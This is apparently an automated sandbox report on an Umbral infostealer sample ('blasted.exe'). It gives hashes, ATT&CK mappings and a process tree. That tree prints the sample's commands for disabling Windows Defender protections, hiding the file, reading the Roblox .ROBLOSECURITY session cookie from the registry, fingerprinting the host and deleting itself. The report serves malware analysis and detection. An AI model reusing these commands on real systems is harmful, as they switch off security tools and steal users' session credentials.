umbral | 9952e7c346539dc361b2bda461eebf047ce00a2e3eb2bb3ab6f3fa0c0b5d87d5

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
05-01-2025 16:11

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General

Target

blasted.exe
Size

229KB
MD5

21e6f749bf59138d1528e64a34a88903
SHA1

4f2447e8476dad93e39aac775a7bf91c2c8cd4b8
SHA256

9952e7c346539dc361b2bda461eebf047ce00a2e3eb2bb3ab6f3fa0c0b5d87d5
SHA512

2cad6e33730a69bc31378ae4f502f37f6d8f6d1fd85c17830108ab6b056f1b5994bf8254530194df655e433689c2c22e53fea94c5958f8c1ee55f938a6e5486c
SSDEEP

6144:dloZM9rIkd8g+EtXHkv/iD4ZF3A6YXzQAp8aLLyfxmb8e1m6i:/oZmL+EP8ZF3A6YXzQAp8aLLyIo

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/2020-1-0x0000000000810000-0x0000000000850000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2740	powershell.exe
2768	powershell.exe
352	powershell.exe
2680	powershell.exe

Deletes itself 1 IoCs

pid	Process
2184	cmd.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
9	discord.com
10	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2184	cmd.exe
2784	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2100	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2784	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2020	blasted.exe
2680	powershell.exe
2740	powershell.exe
2768	powershell.exe
2588	powershell.exe
352	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2020	blasted.exe
Token: SeIncreaseQuotaPrivilege	2716	wmic.exe
Token: SeSecurityPrivilege	2716	wmic.exe
Token: SeTakeOwnershipPrivilege	2716	wmic.exe
Token: SeLoadDriverPrivilege	2716	wmic.exe
Token: SeSystemProfilePrivilege	2716	wmic.exe
Token: SeSystemtimePrivilege	2716	wmic.exe
Token: SeProfSingleProcessPrivilege	2716	wmic.exe
Token: SeIncBasePriorityPrivilege	2716	wmic.exe
Token: SeCreatePagefilePrivilege	2716	wmic.exe
Token: SeBackupPrivilege	2716	wmic.exe
Token: SeRestorePrivilege	2716	wmic.exe
Token: SeShutdownPrivilege	2716	wmic.exe
Token: SeDebugPrivilege	2716	wmic.exe
Token: SeSystemEnvironmentPrivilege	2716	wmic.exe
Token: SeRemoteShutdownPrivilege	2716	wmic.exe
Token: SeUndockPrivilege	2716	wmic.exe
Token: SeManageVolumePrivilege	2716	wmic.exe
Token: 33	2716	wmic.exe
Token: 34	2716	wmic.exe
Token: 35	2716	wmic.exe
Token: SeIncreaseQuotaPrivilege	2716	wmic.exe
Token: SeSecurityPrivilege	2716	wmic.exe
Token: SeTakeOwnershipPrivilege	2716	wmic.exe
Token: SeLoadDriverPrivilege	2716	wmic.exe
Token: SeSystemProfilePrivilege	2716	wmic.exe
Token: SeSystemtimePrivilege	2716	wmic.exe
Token: SeProfSingleProcessPrivilege	2716	wmic.exe
Token: SeIncBasePriorityPrivilege	2716	wmic.exe
Token: SeCreatePagefilePrivilege	2716	wmic.exe
Token: SeBackupPrivilege	2716	wmic.exe
Token: SeRestorePrivilege	2716	wmic.exe
Token: SeShutdownPrivilege	2716	wmic.exe
Token: SeDebugPrivilege	2716	wmic.exe
Token: SeSystemEnvironmentPrivilege	2716	wmic.exe
Token: SeRemoteShutdownPrivilege	2716	wmic.exe
Token: SeUndockPrivilege	2716	wmic.exe
Token: SeManageVolumePrivilege	2716	wmic.exe
Token: 33	2716	wmic.exe
Token: 34	2716	wmic.exe
Token: 35	2716	wmic.exe
Token: SeDebugPrivilege	2680	powershell.exe
Token: SeDebugPrivilege	2740	powershell.exe
Token: SeDebugPrivilege	2768	powershell.exe
Token: SeDebugPrivilege	2588	powershell.exe
Token: SeIncreaseQuotaPrivilege	2856	wmic.exe
Token: SeSecurityPrivilege	2856	wmic.exe
Token: SeTakeOwnershipPrivilege	2856	wmic.exe
Token: SeLoadDriverPrivilege	2856	wmic.exe
Token: SeSystemProfilePrivilege	2856	wmic.exe
Token: SeSystemtimePrivilege	2856	wmic.exe
Token: SeProfSingleProcessPrivilege	2856	wmic.exe
Token: SeIncBasePriorityPrivilege	2856	wmic.exe
Token: SeCreatePagefilePrivilege	2856	wmic.exe
Token: SeBackupPrivilege	2856	wmic.exe
Token: SeRestorePrivilege	2856	wmic.exe
Token: SeShutdownPrivilege	2856	wmic.exe
Token: SeDebugPrivilege	2856	wmic.exe
Token: SeSystemEnvironmentPrivilege	2856	wmic.exe
Token: SeRemoteShutdownPrivilege	2856	wmic.exe
Token: SeUndockPrivilege	2856	wmic.exe
Token: SeManageVolumePrivilege	2856	wmic.exe
Token: 33	2856	wmic.exe
Token: 34	2856	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 2020 wrote to memory of 2716	2020	blasted.exe	30
PID 2020 wrote to memory of 2716	2020	blasted.exe	30
PID 2020 wrote to memory of 2716	2020	blasted.exe	30
PID 2020 wrote to memory of 2168	2020	blasted.exe	33
PID 2020 wrote to memory of 2168	2020	blasted.exe	33
PID 2020 wrote to memory of 2168	2020	blasted.exe	33
PID 2020 wrote to memory of 2680	2020	blasted.exe	35
PID 2020 wrote to memory of 2680	2020	blasted.exe	35
PID 2020 wrote to memory of 2680	2020	blasted.exe	35
PID 2020 wrote to memory of 2740	2020	blasted.exe	37
PID 2020 wrote to memory of 2740	2020	blasted.exe	37
PID 2020 wrote to memory of 2740	2020	blasted.exe	37
PID 2020 wrote to memory of 2768	2020	blasted.exe	39
PID 2020 wrote to memory of 2768	2020	blasted.exe	39
PID 2020 wrote to memory of 2768	2020	blasted.exe	39
PID 2020 wrote to memory of 2588	2020	blasted.exe	41
PID 2020 wrote to memory of 2588	2020	blasted.exe	41
PID 2020 wrote to memory of 2588	2020	blasted.exe	41
PID 2020 wrote to memory of 2856	2020	blasted.exe	43
PID 2020 wrote to memory of 2856	2020	blasted.exe	43
PID 2020 wrote to memory of 2856	2020	blasted.exe	43
PID 2020 wrote to memory of 3040	2020	blasted.exe	45
PID 2020 wrote to memory of 3040	2020	blasted.exe	45
PID 2020 wrote to memory of 3040	2020	blasted.exe	45
PID 2020 wrote to memory of 1800	2020	blasted.exe	47
PID 2020 wrote to memory of 1800	2020	blasted.exe	47
PID 2020 wrote to memory of 1800	2020	blasted.exe	47
PID 2020 wrote to memory of 352	2020	blasted.exe	49
PID 2020 wrote to memory of 352	2020	blasted.exe	49
PID 2020 wrote to memory of 352	2020	blasted.exe	49
PID 2020 wrote to memory of 2100	2020	blasted.exe	51
PID 2020 wrote to memory of 2100	2020	blasted.exe	51
PID 2020 wrote to memory of 2100	2020	blasted.exe	51
PID 2020 wrote to memory of 2184	2020	blasted.exe	53
PID 2020 wrote to memory of 2184	2020	blasted.exe	53
PID 2020 wrote to memory of 2184	2020	blasted.exe	53
PID 2184 wrote to memory of 2784	2184	cmd.exe	55
PID 2184 wrote to memory of 2784	2184	cmd.exe	55
PID 2184 wrote to memory of 2784	2184	cmd.exe	55

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2168	attrib.exe

C:\Users\Admin\AppData\Local\Temp\blasted.exe
"C:\Users\Admin\AppData\Local\Temp\blasted.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2020
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2716
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\blasted.exe"
  2⤵
  - Views/modifies file attributes
  PID:2168
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\blasted.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2680
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2740
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2768
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2588
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2856
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:3040
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1800
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:352
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2100
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\blasted.exe" && pause
  2⤵
  - Deletes itself
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2184
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2784

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
afc183c5ab60f603afd6869e992e71f2

SHA1
d5ebb24dcb6c3b2de80da8910610208f4650c1b8

SHA256
a18ba72a79c76255a919663b71f77861bf8b935492be91671eac89e1a4093afe

SHA512
4ce36bd3c42e5ee1fab6c1a547210e59fa303bad7afd6057c16be8f941f731f06185d875af1fa64a60415886a529f2ccbeee205c1dfe7373a5edfe4de48a16f7

Download Submit
memory/352-41-0x000000001B5C0000-0x000000001B8A2000-memory.dmp

Filesize
2.9MB

Download
memory/352-42-0x0000000002710000-0x0000000002718000-memory.dmp

Filesize
32KB

Download
memory/2020-0-0x000007FEF5E73000-0x000007FEF5E74000-memory.dmp

Filesize
4KB

Download
memory/2020-1-0x0000000000810000-0x0000000000850000-memory.dmp

Filesize
256KB

Download
memory/2020-2-0x000007FEF5E70000-0x000007FEF685C000-memory.dmp

Filesize
9.9MB

Download
memory/2020-46-0x000007FEF5E70000-0x000007FEF685C000-memory.dmp

Filesize
9.9MB

Download
memory/2680-7-0x000000001B710000-0x000000001B9F2000-memory.dmp

Filesize
2.9MB

Download
memory/2680-8-0x0000000001DB0000-0x0000000001DB8000-memory.dmp

Filesize
32KB

Download
memory/2740-14-0x000000001B500000-0x000000001B7E2000-memory.dmp

Filesize
2.9MB

Download
memory/2740-15-0x0000000002AE0000-0x0000000002AE8000-memory.dmp

Filesize
32KB

Download